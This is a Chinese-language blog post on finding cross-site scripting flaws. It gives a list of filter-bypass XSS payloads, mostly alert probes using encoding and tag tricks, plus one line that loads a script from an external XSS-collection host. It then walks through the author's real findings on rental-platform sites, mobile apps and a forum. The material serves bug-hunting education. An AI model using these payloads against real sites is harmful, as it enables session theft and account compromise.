如果你还对XSS
有些陌生,可以先去看下面这两篇文章,第二篇是连载,可以仔细看一看。最后一篇文章是精髓,我就是因为看了这篇文章之后XSS
功力突飞猛进
参考:
XSS总结 - 先知社区:https://xz.aliyun.com/t/4067
Web安全从零开始-XSS I - Zedd's Blog:https://blog.zeddyu.info/2019/03/13/Web安全从零开始-XSS-I/#Encode
那些年我们一起学XSS:https://wizardforcel.gitbooks.io/xss-naxienian/content/index.html
<script>alert(1)</script>
<script src=https://xsspt.com/VBAhTu></script>
<a href=javascript:alert(1)>xss</a>
<svg onload=alert(1)>
<img src=1 onerror=alert(1)>
<img src=https://www.baidu.com/img/bd_logo1.png onload=alert(1)>
<details open ontoggle=alert(1)>
<body onload=alert(1)>
<M onmouseover=alert(1)>M
<iframe src=javascript:alert(1)></iframe>
<iframe onload=alert(1)>
<img/src="1"/onerror=alert(1)>
<iimgmg src=1 oonerrornerror=aimglert(1)>
<iMg src=1 oNerRor=alert(1)>
<img src=1 onerror="a=`aler`;b=`t(1)`;eval(a+b);">
<img src=1 onerror=eval(atob('YWxlcnQoMSk='))>
<img src=1 onerror=location='javascript:%61%6C%65%72%74%28%31%29'>
<img src=1 onerror=location='javascript:\x61\x6C\x65\x72\x74\x28\x31\x29'>
<img src=1 onerror=location="javascr"+"ipt:"+"%61%6C%65%72%74%28%31%29">
<img src=1 onerror="window.onerror=eval;throw'=alert\x281\x29';">
<img src=1 onerror =alert(1)>
<img src=1 onerror
=alert(1)>
<img src=1 onerror=alert(1)>
<img src=1 onerror=alert(1)>
首先租号平台肯定有一个发布账号的功能,发布账号就要涉及到用户输入,所以XSS
出现的机率很大,来看看第一个实例。
发布账号后,发现<>"&
都被转义了,以及&
被替换被空,大部分人遇到这种的肯定都会放弃,但是它这里有一点没有处理好
它封面可以设置多张图片,多张图片的链接用|
来分割,我在图片链接当中加了个单引号,没想到这个单引号居然能逃逸双引号的束缚,见下图
接下来就可以利用onload
构造payloade
就好了
第二个实例和第一个实例完全是一模一样,这个租号平台有个手机客户端,在手机客户端中也有一个发布账号的功能,由于后台处理时一样的,所以就多找到一个XSS
,这也是漏洞挖掘的一个思路吧
第三个实例也是手机客户端上的(感觉目前APP的XSS
防御较弱),一个发布动态的功能,同样动态内容中的标签都会被转义了,但是可以插入图片,能插入图片的地方XSS
一般是比较多的
由于它没有对双引号进行转义,所以在引入图片链接的时候,输入双引号会闭合前面的双引号,所以就造成了XSS
也是从APP
入手的,在一个修改地址的地方
修改之后,地址变为了<sc<x>ript>
,并没有直接实体转义,还有机会
在之前对该站的测试中发现,服务器全局将'
和"
替换为空,所以可以利用这个特点来进行绕过
在网页可以看到address
的回显
大部分人在URL
中看到参数一般都是想着SQL注入
吧,但还有可能是反射XSS
由于前端并没有对双引号进行转义所以导致了XSS
虽然最后没有利用好,但是思路还是不错的。先来讲讲思路,在该bilibili论坛,如果你第一次用bilibili账号登陆,他会将你bilibili的个性签名同步到该站,在这过程中它并没有讲bilibili中的个性签名做转义,所以如果利用的好应该能导致XSS
将bilibili的个签改成<img><a>123</a><div></div><svg></svg>
用bilibili账号登陆目标站点后,会同步个性签名,bilibili还是在出口对标签做了过滤<svg>
标签被转义,但是其它的标签并没有被转义
在修改昵称处,可以输入任意字符
从返回结果来看,将<>
变为空
之前POST
的数据类似json
格式,利用\u003csvg\u003e
成功写入<svg>
,猜测是服务器先对POST
的内容进行检测,再格式化数据,所以使用\u00xx
能成功绕过检测
首先先要了解该网站的业务,判断哪些地方可能存在XSS
漏洞,比如:发布文章、设置头像、地址、昵称、用户的其它个人资料等,大部分企业都有WEB端
和移动端
,有些移动端
修改的资料,可以显示在WEB端
某个地方且目前移动端
的XSS
防御较弱,我的好多XSS
也都是从移动端
入手的,XSS
也是目前WAF
较难防御的一个点,因为可以有太多变形,WAF
过滤起来是有一定难度的,可以去看我另一篇Bypass的实例:记一次艰难的XSS:http://blog.b1ok3n.cn/2019/09/11/记一次艰难的XSS/